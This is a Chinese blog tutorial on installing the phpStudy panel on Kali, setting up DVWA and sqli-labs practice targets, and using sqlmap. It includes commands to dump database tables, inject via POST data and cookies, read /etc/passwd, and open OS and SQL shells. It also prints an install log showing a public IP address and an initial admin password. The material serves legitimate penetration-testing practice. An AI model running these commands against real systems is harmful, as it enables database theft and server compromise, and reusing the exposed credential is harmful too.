Linux小皮安装与SQLmap使用

Posted IAmCper

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Linux小皮安装与SQLmap使用相关的知识,希望对你有一定的参考价值。

一、安装

        环境:Kali Linux

        1、切换超级用户并填入密码

┌──(spencer㉿Cper)-[~]
└─$ su root
密码:

        2、安装命令

┌──(root㉿Cper)-[/home/spencer/HW/TOOLS]
└─# wget -O install.sh https://notdocker.xp.cn/install.sh && sudo bash install.s

        3、安装完成后保存提示信息

=================安装完成==================

请用浏览器访问面板:
外网:http://222.184.140.132:9080/9402D1
内网:http://192.168.3.6:9080/9402D1
系统初始账号:admin
系统初始密码:8hRGATvzSV
官网:https://www.xp.cn
如果使用的是云服务器,请至安全组开放9080端口
如果使用ftp,请开放21以及30000-30050端口

===========================================

        4、打开内网网址,按初始账号密码登录后一键安装

        5、启动mysql和Apache,字体变绿即成功

       

         6、添加数据库

 二、配置环境

        1、下载靶场

        2、上传文件

        3、点击解压

         4、(不需要更改配置文件的靶场可直接跳过以下两步)打开文件系统,以root身份打开www文件

         5、进入”/www/admin/DVWA-master/config/ “目录,打开config.inc.php.dist文件,域名、数据库名、用户名、密码要与Mysql设置的一致

               sqli-labs-master目录为“/www/admin/sqli-labs-master/sql-connections/”下的db-creds.inc

         6、添加站点,站点域名为虚拟机IP地址

         7、配置该网站,网站目录取消两个勾选,地址选择根目录靶场地址(保存后右键刷新)

         8、点击域名即可打开站点

三、开玩

        1、SQLMAP有简单向导,--wizard命令通过逐步询问完成工作流

         2、--current-db可查看当前的数据库名,--dbs则是查看所有数据库名

         3、-D 数据库名 --tables可查看当前数据库下的表

        4、-D 数据库名 -T 表名 -columns可查看当前数据库下表中的列字段

         5、-D 数据库名 -T表名 -C 列名,列名 -dump可查看该列所有记录

        6、 使用Burpsuite获取页面请求头,保存为文本,使用sqlmap -r “请求头文本绝对路径”命令来进行操作

sqlmap -r "请求头文本"  //测试是否存在注入,建议请求头文本保存到sqlmap的目录下

sqlmap -r "请求头文本" --current-db //查询当前数据库

sqlmap -r "请求头文本" -D "数据库名" --tables //查询当前数据库的所有表

sqlmap -r "请求头文本" -D "数据库名" -T "表名" --columns //查询指定库指定表的所有列

sqlmap -r "请求头文本" -D "数据库名" -T "表名" -C "列名" --dump //打印出指定库指定表指定列的所有字段内容

        7、保存请求头内容,18关在User-Agent后加星号标明注入点,否则sqlmap无法检测。(或者不加星号,直接提高sqlmap的level等级到3即可对user-agent注入:sqlmap -r /home/spencer/HW/testFile/sqlmapTest --current-db -level 3)

        8、查看当前数据库sqlmap -r /home/spencer/HW/testFile/sqlmapTest --current-db

         9、SQLMAP高级指令

1、-level=5:探测等级
    level是指探测等级,随着level的提高,payload会增加,运行时间增加,同时会自动破解出cookie、XFF头部等注入

2、-risk=5:风险等级
    risk增加后,sql语句不仅会包含select语句,也会包含insert、delete、update等sql语句,很可能会对数据库造成严重的破坏,所以不建议提高risk等级

3、--is-dba:当前用户是否为管理权限
    该命令会查看当前用户是否为数据库管理员
    python sqlmap.py -u http://localhost/sqli-labs/Less-1/?id=1 --is-dba

4、--proxy代理
    python sqlmap.py -u http://localhost/sqli-labs/Less-1/?id=1 --proxy "http://127.0.0.1:8080"
    python sqlmap.py -u http://localhost/sqli-labs/Less-1/?id=1 --proxy "http://127.0.0.1:8080" --dbs

5、--roles:列出数据库当前管理员角色

6、--sql-shell:运行自定义sql语句(可执行sql语句)

7、--referer:检测http Referer头(当referer定义为3或3以上时,也会尝试对regerer注入)
这里可以伪造来源

8、--os-cmd,-os-shell:运行任意操作系统命令

9、--file-read:从数据库服务器中读取文件

10、--file-write,file-dest:上传文件到服务器中

11、--identify-waf(已过时):用于检测是否存在WAF、IDS、IPS

12、--random-agent:随机ua头

SQLMap的详细使用教程

SQL注入是一种广泛存在于Web应用程序的漏洞,可以导致敏感数据泄露、系统破坏等严重后果。SQLMap是一款自动化SQL注入工具,它可以帮助渗透测试人员快速发现和利用SQL注入漏洞。本文将介绍SQLMap的详细使用教程和常用命令。

  1. 安装和配置

在Linux系统中,可以使用以下命令安装SQLMap:

sudo apt-get install sqlmap

安装完成后,可以运行以下命令启动SQLMap:

sqlmap -h
  1. 基本使用方法

使用SQLMap进行SQL注入攻击的基本步骤如下:

(1)测试目标网站是否存在SQL注入漏洞

使用以下命令测试目标网站是否存在SQL注入漏洞:

sqlmap -u http://www.example.com/index.php?id=1 --batch

其中,“http://www.example.com/index.php?id=1”是目标URL,“–batch”表示以批处理模式运行SQLMap。

(2)确认注入点

如果目标网站存在SQL注入漏洞,则需要确认注入点。可以使用以下命令列出所有可用的注入点:

sqlmap -u http://www.example.com/index.php?id=1 --batch --dbs

这个命令将输出目标网站上所有可用的数据库名称。

(3)获取数据库信息

使用以下命令获取目标网站的数据库信息:

sqlmap -u http://www.example.com/index.php?id=1 --batch -D dbname --tables

其中,“-D dbname”表示指定数据库名称,“–tables”表示列出所有可用的表名。

(4)获取表信息

使用以下命令获取目标网站上指定表的信息:

sqlmap -u http://www.example.com/index.php?id=1 --batch -D dbname -T tablename --columns

其中,“-T tablename”表示指定表名,“–columns”表示列出所有可用的列名。

(5)获取列信息

使用以下命令获取目标网站上指定表中指定列的数据:

sqlmap -u http://www.example.com/index.php?id=1 --batch -D dbname -T tablename -C columnname --dump

其中,“-C columnname”表示指定列名,“–dump”表示将结果输出到文件中。

  1. 高级使用方法

除了基本的SQL注入攻击,SQLMap还提供了许多高级功能,如POST请求注入、Cookie注入、文件读取等。

(1)POST请求注入

如果目标网站使用POST请求提交数据,则可以使用以下命令进行注入攻击:

sqlmap -u "http://www.example.com/login.php" --data="username=admin&password=123456" --batch

其中,“–data”表示要发送的POST数据。

(2)Cookie注入

如果目标网站使用Cookie来维护会话状态,则可以使用以下命令进行注入攻击:

sqlmap -u "http://www.example.com/index.php" --cookie="PHPSESSID=123456" --batch

其中,“–cookie”表示要使用的Cookie。

(3)文件读取

如果目标网站允许访问文件系统,则可以使用以下命令读取指定文件:

sqlmap -u "http://www.example.com/index.php?id=1" --file-read="/etc/passwd" --batch

其中,“–file-read”表示要读取的文件名。

  1. 总结

SQLMap是一款功能强大的自动化SQL注入工具,可用于发现和利用Web应用程序中的SQL注入漏洞。虽然它的使用方法相对简单,但是它也提供了许多高级功能,可以帮助渗透测试人员更快地渗透Web应用程序。但是,请务必遵循道德和法律标准,在合法授权的情况下使用这个工具。同时,渗透测试人员也应该了解SQL注入漏洞的本质和防范方法,以便更好地保护Web应用程序的安全。

以上是关于Linux小皮安装与SQLmap使用的主要内容,如果未能解决你的问题,请参考以下文章

小皮Windows web面板漏洞详解

快速搭建PHP环境(Linux服务器)视频教程

如何在Win8系统中搭建Web服务器

利用phpstudy(小皮面板)配置本地PHP开发环境的记录

Linux安装Sqlmap等工具

Sqlmap下载安装与基础命令使用